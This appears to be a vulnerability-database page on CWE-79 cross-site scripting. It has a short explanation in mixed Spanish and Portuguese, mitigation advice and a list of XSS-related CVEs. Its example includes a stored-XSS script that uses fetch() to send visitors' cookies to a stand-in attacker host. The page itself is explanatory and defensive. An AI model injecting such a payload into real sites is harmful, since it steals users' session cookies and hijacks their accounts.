Fallos del tipo CWE-79

30.670 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-23519HIGHPossible XSS vulnerability with certain configurations of rails-html-sanitizerEPSS 1.1%CVE-2022-44947MEDIUMRukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Highlight Row feature at /index.php?moEPSS 1.1%CVE-2019-13407—Advan VD-1 has a reflected XSS vulnerability in page cgibin/ssi.cgiEPSS 1.1%CVE-2022-1320—Sliderby10Web < 1.2.52 - Admin+ Stored Cross-Site ScriptingEPSS 1.1%CVE-2022-1394—Photo Gallery < 1.6.4 - Admin+ Stored Cross-Site ScriptingEPSS 1.1%CVE-2026-56126MEDIUMpfSense Plus < 26.07 / CE < 2.9.0 Stored XSS via status_monitoring.phpEPSS 1.1%CVE-2024-57522MEDIUMSourceCodester Packers and Movers Management System v1.0 is vulnerable to Cross Site Scripting (XSS) in Users.php. An attacker can inject a EPSS 1.1%CVE-2022-1564—Form Maker By 10Web < 1.14.12 - Admin+ Stored Cross-Site ScriptingEPSS 1.1%CVE-2026-56127MEDIUMpfSense Plus < 26.07 / CE < 2.9.0 Stored XSS via firewall_rules_edit.phpEPSS 1.1%CVE-2026-56128MEDIUMpfSense Plus < 26.07 / CE < 2.9.0 Stored XSS via firewall_schedule_edit.phpEPSS 1.1%CVE-2022-43425MEDIUMJenkins Custom Checkbox Parameter Plugin 1.4 and earlier does not escape the name and description of Custom Checkbox Parameter parameters onEPSS 1.1%CVE-2023-34229MEDIUMIn JetBrains TeamCity before 2023.05 stored XSS in GitLab Connection page was possibleEPSS 1.0%CVE-2022-44950MEDIUMRukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Field function at /index.php?mEPSS 1.0%CVE-2023-43566LOWIn JetBrains TeamCity before 2023.05.4 stored XSS was possible during nodes configurationEPSS 1.0%CVE-2026-100133CRITICALAdobe Commerce | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 1.0%CVE-2022-44949MEDIUMRukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Add New Field function at /index.php?mEPSS 1.0%CVE-2021-43785HIGHCross Site Scripting Vulnerability in @joeattardi/emoji-buttonEPSS 1.0%CVE-2017-0931—html-janitor node module suffers from a Cross-Site Scripting (XSS) vulnerability via clean() accepting user-controlled values.EPSS 1.0%CVE-2024-45265CRITICALA SQL injection vulnerability in the poll component in SkySystem Arfa-CMS before 5.1.3124 allows remote attackers to execute arbitrary SQL cEPSS 1.0%CVE-2024-54959MEDIUMNagios XI 2024R1.2.2 is vulnerable to a Cross-Site Request Forgery (CSRF) attack through the Favorites component, enabling POST-based Cross-EPSS 1.0%